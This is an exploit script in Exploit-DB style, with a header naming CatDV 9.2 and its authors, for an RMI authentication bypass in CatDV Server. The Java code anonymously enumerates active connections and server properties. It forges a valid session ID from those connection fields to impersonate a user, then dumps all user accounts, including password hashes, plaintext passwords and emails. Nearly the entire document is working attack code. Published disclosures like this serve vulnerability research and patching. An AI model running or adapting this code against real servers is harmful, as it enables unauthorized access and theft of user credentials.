# Exploit Title: CatDV 9.2 - RMI Authentication Bypass # Date: 3/1/2021 # Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc. # Vendor Homepage: https://catdv.com/ # Software Link: https://www.squarebox.com/download/CatDVServer9.2.0.exe # Version: 9.2 and lower # Tested on: Windows, Mac import org.h2.engine.User; import squarebox.catdv.shared.*; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class Runnable { public Runnable() throws RemoteException, NotBoundException, MalformedURLException { } private static int getValidSession(long createdTime, String claimedHost) { return (int)createdTime + claimedHost.hashCode(); } private static void printFields(SField[] fields) { for (SField field : fields) { System.out.println(field.fieldDefID); System.out.println(field.value); System.out.println(field.fieldDefinition); } } public static void main(String args[]) throws RemoteException, NotBoundException, MalformedURLException { String target = "rmi://:1099/CatDVServer"; ServerAPI look_up = (ServerAPI) Naming.lookup(target); System.out.println("Trying to get all connections"); SConnection[] connections = look_up.getConnections(); for (SConnection element : connections) { System.out.println("Found connection:"); System.out.println("CatDVUser:"+ element.catdvUser); System.out.println("ApiVersion:"+ element.apiVersion); System.out.println("User:"+ element.user); System.out.println("ClaimedHost:"+ element.claimedHost); System.out.println("ActualHost:"+ element.actualHost); System.out.println("Created:"+ element.created); System.out.println("LastUsed:"+ element.lastUsed); System.out.println("Client features:"+ element.clientFeatures); System.out.println("\n"); } System.out.println("Getting system properties"); System.out.println("Running from: "+look_up.getProperty("user.dir")); System.out.println("Running on: "+look_up.getProperty("os.arch")); System.out.println("Java version: "+look_up.getProperty("java.version")); //We can create a new client from most of the fields found in the existing connections which we can dump anonymously ClientID bob=new ClientID( connections[0].catdvUser, connections[0].claimedHost, getValidSession(connections[0].created,connections[0].claimedHost), connections[0].created, ""); System.out.println("\nCreated a new client with parameters: \n" + "" + "user:"+connections[0].catdvUser+"\n"+ "" + "claimedHost:"+connections[0].claimedHost+"\n"+ "" + "session:"+getValidSession(connections[0].created,connections[0].claimedHost)+"\n"+ "" + "created:"+connections[0].created+"\n"+ "" + "pubkey:"+""+ ""); String status = look_up.getStatus(bob); System.out.println("Status is: \n "+status); System.out.println("Attempting to dump users: \n"); SUser[] users=look_up.getUsers(bob, -1); for (SUser element: users) { System.out.println(element.name); System.out.println(element.passwordHash); System.out.println("id:" + element.ID); System.out.println("realname:" + element.realname); System.out.println("email:" + element.email); System.out.println("password:" + element.password); System.out.println("notes:" + element.notes); System.out.println("inactive:" + element.inactive); System.out.println("RoleiD:" + element.roleID); System.out.println("hash:" + element.passwordHash); System.out.println(""); } } }